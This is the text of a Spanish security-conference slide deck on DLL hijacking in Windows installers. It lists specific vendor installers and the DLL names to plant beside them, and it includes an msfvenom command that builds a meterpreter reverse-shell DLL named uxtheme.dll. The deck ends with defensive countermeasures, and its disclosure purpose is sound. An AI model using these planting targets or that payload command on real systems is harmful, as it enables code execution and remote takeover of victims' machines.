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INSECURE INSTALLERS

class PedroC:
def __init__(self):
self.name =	‘Pedro	Candel’
self.email =	‘pcandel@cybersoc.deloitte.es’
self.nickname =	‘@NN2ed_s4ur0n’
self.role =	‘Security	Researcher’
self.interest =	[	‘Reversing’, ‘Malware’,	‘Offensive	Security’	]
self.member_of =	[	‘NavajaNegra’,	 ‘mlw.re’,	 ‘OWASP’,	’FAQin’	 ]
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INSECURE INSTALLERS

Motivación

• Evitar las	protecciones de	los antivirus
• Querer lograr persistencia en el	sistema
• Elevar privilegios en el	sistema
• Tomar el	control	total	del	equipo
• ¿Es un	APT?	Advance	Persistent	Threat	

(Amenaza Persistente y	Avanzada)
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Instaladores
Ejecutables
considerados
“maliciosos”
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Breve	historia

• Georgi Guninski security	advisory	#21,	
2000

• Double	clicking	on	MS	Office	documents	
from	Windows	Explorer	may	execute	
arbitrary	programs	in	some	cases

• http://www.guninski.com/officedll.html
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Breve	historia

• RSA	Conference	2012
• Advance	(Persistent)	Binary	Planting
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¿Qué	tenemos	en	Downloads?

• Es un	auténtico “repositorio”	de	
versiones	de	todo	tipo	de	programas,	
DLLs,	OCXs,	etc.

• Los	navegadores no	suelen eliminar los
ficheros descargados (IE,	Firefox,	Safari,	
Chrome,	Opera…)	a	no	ser	que	al	usuario	
le	falte	espacio	en	disco...	
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INSECURE INSTALLERS

¿Qué	tenemos	en	Downloads?

• ¿Qué	ocurre	al	descargar	una	DLL?
• El	navegador	no	suele	advertir	al	usuario	

para	que	pueda	ejecutarla	al	contrario	
que	un	binario

• Por	tanto,	permanece en	dicho	directorio
• Hasta	su	“limpieza”	o	incluso	formateo
• Técnicas	de	clickjacking
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Descargada,	pero	no	ejecutada…

• Se	encuentra	“latente”	en	el	sistema	a	la	
espera	de	ser	ejecutada	o	invocada

• El	usuario	descarga	un	instalador	para	
ejecutar	e	instalar	un	binario

• O	incluso	de	llama	a	
CreateProcess(“msiexec.exe”) sin	
especificar	su	ruta	de	acceso



hackron – Tenerife,	2016 @nn2ed_s4ur0n

INSECURE INSTALLERS

Descargada,	pero	no	ejecutada…

• Se	podría	incluso	crear	un	bogus/fake
msiexec.exe en	dicho	directorio

• Posteriormente,	se	tratará	de	localizar	y	
cargar	e	inicializar	las	DLLs necesarias
desde	el	mismo	directorio

• Y	todo	ello,	supone	un	problema…



hackron – Tenerife,	2016 @nn2ed_s4ur0n

INSECURE INSTALLERS

Instaladores	“inseguros”

• Listas	como	Full	Disclosure	o	BugTraq
con	Stefan	Kanthak y	diferentes	casos

• Timelines:	
Not a	vulnerability

• ¿Usuarios?	
Stay tunned
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Instaladores	“inseguros”

• Todos	los	instaladores	ejecutables	y	
autodescompresores (SFXs)	presentan	
un	problema a	los	usuarios

• Deben	ser	considerados	como	
potencialmente	peligrosos

• Incluso	como	malware	en	casos	de	
Organizaciones
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Instaladores	“inseguros”

• El	usuario	ejecuta	directamente el	
instalador	desde	downloads u	otros	
directorios	como	%TEMP%,	%APPDATA%

• Dichos	ejecutables	pueden	cargar	y	
ejecutar DLLs y/o	programas	que	un	
atacante	podría	haber	dejado	para	su	
ejecución	en	dichos	directorios



hackron – Tenerife,	2016 @nn2ed_s4ur0n
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Instaladores	“inseguros”

• Riesgo	de	“Arbitrary Code	Execution”
• Riesgo	de	“Privilege Escalation”
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Carga	de	librerías	en	Windows

• Load-Time	Dynamic	Linking
(https://msdn.microsoft.com/en-
us/library/ms684184.aspx)

• Dynamic-Link	Library	Search	Order
(https://msdn.microsoft.com/en-
us/library/ms682586.aspx)

• Run-Time	Dynamic	Linking
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Vulnerabilidades:	Rutas	no	
absolutas
• CWE-426:	Untrusted Search	Path

(https://cwe.mitre.org/data/definitions/
426.html)

• CWE-427:	Uncontrolled Search	Path
Element
(https://cwe.mitre.org/data/definitions/
427.html)
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Vulnerabilidades:	Descomprimir	en	
directorios	no	seguros
• Muchos	instaladores	descomprimen los	

ficheros	en	directorios	no	seguros	
• Posteriormente	ejecutan	los	binarios	

desde	los	mismos
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Vulnerabilidades:	Descomprimir	en	
directorios	no	seguros
• CWE-377:	Insecure Temporary File

(https://cwe.mitre.org/data/definitions/
377.html)

• CWE-379:	Creation of	Temporary File	in	
Directory with Incorrect Permissions
(https://cwe.mitre.org/data/definitions/
379.html)
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Vulnerabilidades:	Permisos
• Los	instaladores	suelen	requerir	

elevación	de	privilegios	para	contar	con	
permisos	administrativos

• Suelen	incluirse	en	la	detección	de	
tecnología	de	instalación e	ir	embebidos	
en	el	propio	instalador
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Demo
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WinImage
• http://www.winimage.com/download.ht

m
• http://home.arcor.de/skanthak/downlo

ad/SENTINEL.DLL
• Copiar	a	UXTheme.dll,	RichEd32.dll,	

WindowsCodecs.dll,	MPR.dll
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Python	3.5.1
• https://www.python.org/downloads/
• http://home.arcor.de/skanthak/downlo

ad/SENTINEL.DLL
• Copiar	a	FEClient.dll,	ClbCatQ.dll

(Windows	NT	5.x)	o	ProfAPI.dll (Windows	
NT	6.x)

• Copiar	a	MSI.dll y	Version.dll (Repwned)
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Microsoft	Antimalware	Definition
Updates
• https://support.microsoft.com/en-

us/kb/935934
• http://home.arcor.de/skanthak/downlo

ad/SENTINEL.DLL
• Copiar	a	FEClient.dll
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Microsoft	(Otros)
• Malicious	Removal Tool
• Root	Certificate Updater
• Root	Certificate Revocation List	Updater
• Todos los	instaladores	de	.NET	

Framework
• Windows	Defender	Offline
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Microsoft	(Otros)
• Todos los	Visual	C++	Runtime 20xx	

Redistributable Packages
• Todos los	hotfixes y	updates para	

Windows	2000,	Windows	XP,	
Windows Embedded POSReady 2009,	
Windows	Server	2003	(Windows*-KB*-
*.exe)
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Panda
• http://acs.pandasoftware.com/Panda201

6/AP/181164/AP16.exe
• http://home.arcor.de/skanthak/downlo

ad/SENTINEL.DLL
• Copiar	a	UXTheme.dll,	RichEd20.dll	y	

RichEd32.dll



hackron – Tenerife,	2016 @nn2ed_s4ur0n

INSECURE INSTALLERS

Avira
• https://www.avira.com/en/download/pr

oduct/avira-registry-cleaner
• http://home.arcor.de/skanthak/downlo

ad/SENTINEL.DLL
• Copiar	a	WTSAPI32.dll,	UXTheme.dll,	

RichEd20.dll
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INSECURE INSTALLERS

Demo	2
Divide	et	Impera
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Universal
• Cutre:	msfvenom -p	

windows/meterpreter/reverse_tcp -f	dll
LHOST=X.X.X.X	LPORT=4444	>	
/tmp/uXtheme.dll

• Mejor:	
https://github.com/rapid7/metasploit-
framework/blob/master/data/templates
/src/pe/dll/template.c
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Contramedidas:	generales
• No	ejecutar instaladores ejecutables
• Jamás desde download o	%TEMP%
• Si	las	aplicaciones no	son	distribuidas en

el	formato de	paquete del	instalador
nativo del	Sistema	Operativo (tipoMSI,	
CAB),	solicitar al	fabricante o	
desarrollador su empaquetado con	dicho
formato o	depurar proceso instalación
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Contramedidas:	usuarios
• Deshabilitar la	elevación de	privilegios

para	usuarios estandard y	la	detección
de	instalación para	todos los usuarios

• https://technet.microsoft.com/en-
us/library/dd835564.aspx#BKMK_Registr
yKeys
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Contramedidas:	usuarios
• [HKEY_LOCAL_MACHINE\SOFTWARE\Mi

crosoft\Windows\CurrentVersion\Polici
es\System]

• "ConsentPromptBehaviorUser"=dword:0
0000000

• "EnableInstallerDetection"=dword:0000
0000



hackron – Tenerife,	2016 @nn2ed_s4ur0n

INSECURE INSTALLERS

Contramedidas:	sysadmins
• No	permitir	la	ejecución	de	binarios	en	

downloads,	%TEMP% y	subdirectorios
• NTFS	ACL	(D;OIIO;WP;;;WD)	Ver	

https://msdn.microsoft.com/en-
us/library/aa374928.aspx

• Software	Restriction Policies
• AppLocker



hackron – Tenerife,	2016 @nn2ed_s4ur0n

INSECURE INSTALLERS

Contramedidas:	developers
• No	hay	ninguna	razón para	construir,	

distribuir,	desplegar	o	emplear	
ejecutables	para	instalar	software	o	
descomprimir	ficheros

• Los	SS.OO.	tienen	sus	propios	
instaladores o	gestores	de	paquetes que	
incluyen	todo
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¿Preguntas?
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Muchas gracias

@NN2ed_s4ur0n
s4ur0n@navajanegra.com


